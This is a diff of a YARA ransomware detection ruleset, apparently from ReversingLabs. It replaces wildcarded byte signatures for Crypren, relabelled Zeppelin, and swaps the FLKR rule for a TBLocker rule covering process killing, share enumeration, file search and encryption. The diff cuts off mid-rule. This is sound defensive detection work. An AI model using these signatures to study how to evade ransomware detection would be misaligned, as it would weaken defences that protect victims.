 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29195,131 +30915,97 @@ rule REVERSINGLABS_Win32_Ransomware_Crypren : TC_DETECTION MALICIOUS MALWARE FIL
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Crypren"
+		tc_detection_name = "Zeppelin"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$enum_directories_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6
-            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6
-            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-        }
-		$enum_directories_p2 = {
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6
-            45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 85 ?? ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ??
-            ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6
-        }
-		$enum_directories_p3 = {
-            45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ??
-            68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45
-            ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? C6 45 ?? ?? C7 45 ?? ?? ?? ?? ??
-            C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 8D BD ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 90 83 7F ?? ?? 8B 5F ?? 72 ?? 8B 37 EB ?? 8B F7 83 7D ?? ?? 8D
-            45 ?? 8B D3 0F 43 45 ?? 3B CB 0F 42 D1 85 D2 74 ?? 83 EA ?? 72 ?? 8D 9B ?? ?? ?? ??
-            8B 08 3B 0E 75 ?? 83 C0 ?? 83 C6 ?? 83 EA ?? 73 ?? 83 FA ?? 74 ?? 8A 08 3A 0E 75 ??
-            83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA ?? 74 ?? 8A 48 ?? 3A 4E ?? 75 ?? 83 FA
-            ?? 74 ?? 8A 40 ?? 3A 46 ?? 74 ?? 1B C0 83 C8 ?? EB ?? 33 C0 8B 4D ?? 85 C0 75 ?? 3B
-            CB 73 ?? 83 C8 ?? EB ?? 33 C0 3B CB 0F 95 C0 85 C0 0F 94 C0 84 C0 75 ?? 8B 85 ?? ??
-            ?? ?? 83 C7 ?? 40 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? B3 ?? EB ?? 32 DB 68
-            ?? ?? ?? ?? 6A ?? 6A ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ??
-            72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8A C3 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
-            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$search_files_p1 = {
+            55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 8D 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 8D 45 ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8D 45 ?? 50 8B 45 ?? E8 ??
+            ?? ?? ?? 8B D8 8B 45 ?? E8 ?? ?? ?? ?? 2B D8 43 53 8B 45 ?? E8 ?? ?? ?? ?? 8B D0 42
+            8B 45 ?? 59 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? FF 30 FF 75 ?? 68 ?? ?? ?? ?? 8B 85 ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? 83 F8
+            ?? 7C ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 84
+            ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            C3
         }
-		$encrypt_files_p1 = {
-            55 8B EC 6A ?? 68 ?? ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ??
-            33 C5 89 45 ?? 53 56 57 50 8D 45 ?? 64 A3 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 45 ?? C6 45 ?? ?? 50 8D 45 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C7 45 ?? ??
-            ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 33 FF C6 45 ?? ?? 83 7D ?? ?? 8D 45 ?? 6A
-            ?? 0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 6A ??
-            0F 43 45 ?? 8D 8D ?? ?? ?? ?? 6A ?? 50 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 48 ?? 8B
-            94 0D ?? ?? ?? ?? 85 D2 0F 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 40 ?? 39 BC 05 ?? ??
-            ?? ?? 0F 85 ?? ?? ?? ?? F6 C2 ?? 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 03 C8 8D 45 ??
-            50 E8 ?? ?? ?? ?? 50 C6 45 ?? ?? E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? C6 45 ?? ?? 8B F0
-            85 C9 74 ?? 8B 11 FF 52 ?? 85 C0 74 ?? 8B 10 8B C8 6A ?? FF 12 8B 06 8B CE 6A ?? 8B
-            40 ?? FF D0 88 45 ?? 8D 45 ?? FF 75 ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4
-            ?? 8D 4D ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 F6 39 75 ?? 76 ?? EB ?? 8D A4 24
-            ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 8D 4D ?? 0F 43 45 ?? 83 7D ?? ?? 0F 43 4D ?? 33 D2
+		$search_files_p2 = {
+            8D 85 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ??
+            ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 33 C0 55 68 ?? ?? ??
+            ?? 64 FF 30 64 89 20 F6 85 ?? ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 74 ?? 8B 85 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 74 ?? 8B 45 ?? 50
+            8D 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 55 ?? E8 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B 8D
+            ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 59 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ??
+            33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ??
+            ?? ?? EB ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? BA ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ?? 5B 8B E5 5D C3
         }
-		$encrypt_files_p2 = {
-            0F BE 1C 30 8B C7 F7 75 ?? 8A 0C 0A 0F BE C1 03 C3 3D ?? ?? ?? ?? 7C ?? 25 ?? ?? ??
-            ?? 79 ?? 48 0D ?? ?? ?? ?? 40 EB ?? 02 D9 0F B6 C3 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ??
-            ?? ?? 46 83 C4 ?? 47 3B 75 ?? 72 ?? 6A ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B
-            85 ?? ?? ?? ?? 8B 48 ?? F6 84 0D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 7D ?? ?? 72 ?? FF 75 ?? E8 ?? ??
-            ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 72
-            ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 ??
-            ?? ?? ?? ?? C6 45 ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? C6 45 ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 8D 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 83 7D
-            ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 83 7D ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45
-            ?? ?? ?? ?? ?? C6 45 ?? ?? 72 ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D
-            ?? ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
+		$kill_processes = {
+            55 8B EC 33 C9 51 51 51 51 51 51 51 51 53 56 57 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ??
+            88 55 ?? 89 45 ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 55 68 ?? ?? ?? ??
+            64 FF 32 64 89 22 8D 55 ?? A1 ?? ?? ?? ?? 8B 00 E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? 8B D8 8B 45 ?? 89 58 ?? 8B C3 B2 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 40 ??
+            C6 40 ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 85 C0 74 ?? 83 E8 ?? 8B 00 8B F0 85 F6
+            7E ?? BB ?? ?? ?? ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 45 ?? 50 8D
+            55 ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 58 E8 ?? ?? ?? ?? 75 ?? 8D 55 ?? 8B 45
+            ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? 8B 40 ?? 8B 08 FF 51 ?? 8D 45 ?? E8 ?? ?? ?? ??
+            EB ?? 8D 45 ?? 8B 55 ?? 0F B6 54 1A ?? E8 ?? ?? ?? ?? 8B 55 ?? 8D 45 ?? E8 ?? ?? ??
+            ?? 43 4E 75 ?? 33 C0 5A 59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B1 ?? 33
+            D2 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? BA ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB ??
+            8B 45 ?? 80 7D ?? ?? 74 ?? E8 ?? ?? ?? ?? 64 8F 05 ?? ?? ?? ?? 83 C4 ?? 8B 45 ?? 5F
+            5E 5B 8B E5 5D C3
         }
-		$enum_drives_p1 = {
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ??
-            ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ??
-            ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ??
-            ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85
+		$enum_shares = {
+            55 8B EC B9 ?? ?? ?? ?? 6A ?? 6A ?? 49 75 ?? 51 53 56 57 89 45 ?? 8B 45 ?? E8 ?? ??
+            ?? ?? 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64
+            89 20 B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ?? ?? ?? E8 ?? ??
+            ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8D 4D ?? 33
+            D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 89 45 ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? B2 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B
+            45 ?? E8 ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 45 ?? 8D 55 ?? B8 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 8B 10 FF 52 ?? 48 85
+            C0 0F 8C ?? ?? ?? ?? 40 89 45 ?? C7 45 ?? ?? ?? ?? ?? 8D 4D ?? 8B 55 ?? 8B 45 ?? 8B
+            18 FF 53 ?? 8B 55 ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 33 C0 55 68 ?? ?? ?? ?? 64
+            FF 30 64 89 20 FF 75 ?? 68 ?? ?? ?? ?? 8D 4D ?? 33 D2 8B 45 ?? E8 ?? ?? ?? ?? 8B 45
+            ?? 8D 55 ?? E8 ?? ?? ?? ?? FF 75 ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 55 ??
+            8D 45 ?? E8 ?? ?? ?? ?? 8B 55 ?? A1 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89
+            10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 84 C0 75 ?? FF 45 ??
+            FF 4D ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? E8 ?? ?? ?? ?? 33 C0 5A
+            59 59 64 89 10 EB ?? E9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ??
+            ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8D 45 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? C3 E9 ?? ?? ?? ?? EB
+            ?? 5F 5E 5B 8B E5 5D C3
         }
-		$enum_drives_p2 = {
-            E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ??
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ??
-            ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6
-            85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ??
-            6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ??
-            ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7
-            85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ??
-            ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85
-            ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 8D
-            4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 6A ?? 68
-            ?? ?? ?? ?? 8D 4D ?? C7 45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? E8
+		$encrypt_files = {
+            55 8B EC 83 C4 ?? 53 56 33 DB 89 5D ?? 84 D2 74 ?? 83 C4 ?? E8 ?? ?? ?? ?? 8B D9 88
+            55 ?? 8B F0 33 C0 55 68 ?? ?? ?? ?? 64 FF 30 64 89 20 33 D2 8B C6 E8 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 88 5E ?? 88 5E ?? 56 6A ?? 8D 46 ?? 50 B9 ?? ?? ?? ?? 33 D2 33 C0 E8 ??
+            ?? ?? ?? 8B D8 89 5E ?? 85 DB 75 ?? E8 ?? ?? ?? ?? 8D 55 ?? E8 ?? ?? ?? ?? 8B 45 ??
+            89 45 ?? C6 45 ?? ?? 8D 45 ?? 50 6A ?? 8B 0D ?? ?? ?? ?? B2 ?? A1 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 5A 59 59 64 89 10 68 ?? ?? ?? ?? 8D 45 ?? E8 ?? ?? ??
+            ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (( all of ($enum_directories_p*)) and ( all of ($enum_drives_p*)) and ( all of ($encrypt_files_p*)))
+		uint16(0)==0x5A4D and ($kill_processes) and ($enum_shares) and ( all of ($search_files_p*)) and ($encrypt_files)
 }
-rule REVERSINGLABS_Win32_Ransomware_FLKR : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Tblocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects FLKR ransomware."
+		description = "Yara rule that detects TBLocker ransomware."
 		author = "ReversingLabs"
-		id = "7f3abcd0-8dfa-5914-9ad0-566c16c2e2ab"
+		id = "91793018-baf6-5e70-83b6-8793482c3bec"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.FLKR.yara#L1-L71"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "4ab00ba82baceec9899556d3a774ec08c83c10930cec194e18e3b4e16ebacb58"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.TBLocker.yara#L1-L85"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "81f0077655ac0e59cd8dc05be602ae500c938668bd57d3cf4a51fbff2a5b6b83"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -29327,73 +31013,79 @@ rule REVERSINGLABS_Win32_Ransomware_FLKR : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "FLKR"
+		tc_detection_name = "TBLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$search_and_encrypt_p1 = {
-            81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C4 89 84 24 ?? ?? ?? ?? 53 55 56 57 8B BC 24 ??
-            ?? ?? ?? 57 89 7C 24 ?? FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 89 44
-            24 ?? FF D5 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ??
-            ?? 8B 35 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4C 24 ?? 51 FF D6 85 C0 0F 84 ?? ?? ?? ?? 68
-            ?? ?? ?? ?? 8D 54 24 ?? 52 FF D6 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? 8D 4C 24 ?? 51
-            57 C6 04 07 ?? FF D5 F6 44 24 ?? ?? 0F 84 ?? ?? ?? ?? 8D 5C 24 ?? E8 ?? ?? ?? ?? 84
-            C0 0F 85 ?? ?? ?? ?? 8A 0F 33 D2 84 C9 74 ?? BE ?? ?? ?? ?? 8B C7 2B F7 88 0C 06 8A
-            48 ?? 40 42 84 C9 75 ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 82 ?? ?? ?? ?? ?? C6 82 ??
-            ?? ?? ?? ?? FF D5 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F0 83 C4 ?? 85 F6
-            74 ?? 56 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 83 C4
-            ?? 68 ?? ?? ?? ?? 57 FF D5 57 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33 C0 38 44 24 ?? 74
+		$main_ransomware_function_p1 = {
+            00 02 16 28 ?? ?? ?? ?? 00 02 17 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02 16 28 ?? ?? ?? ?? 00 02
+            16 28 ?? ?? ?? ?? 00 02 28 ?? ?? ?? ?? 00 00 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 16 FE ?? 0A 06 2C ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 72 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 18 16 15 28 ?? ?? ?? ?? 26 00 00 28 ?? ?? ?? ?? 28 ?? ??
+            ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 16 FE ?? 0B 07 39 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72
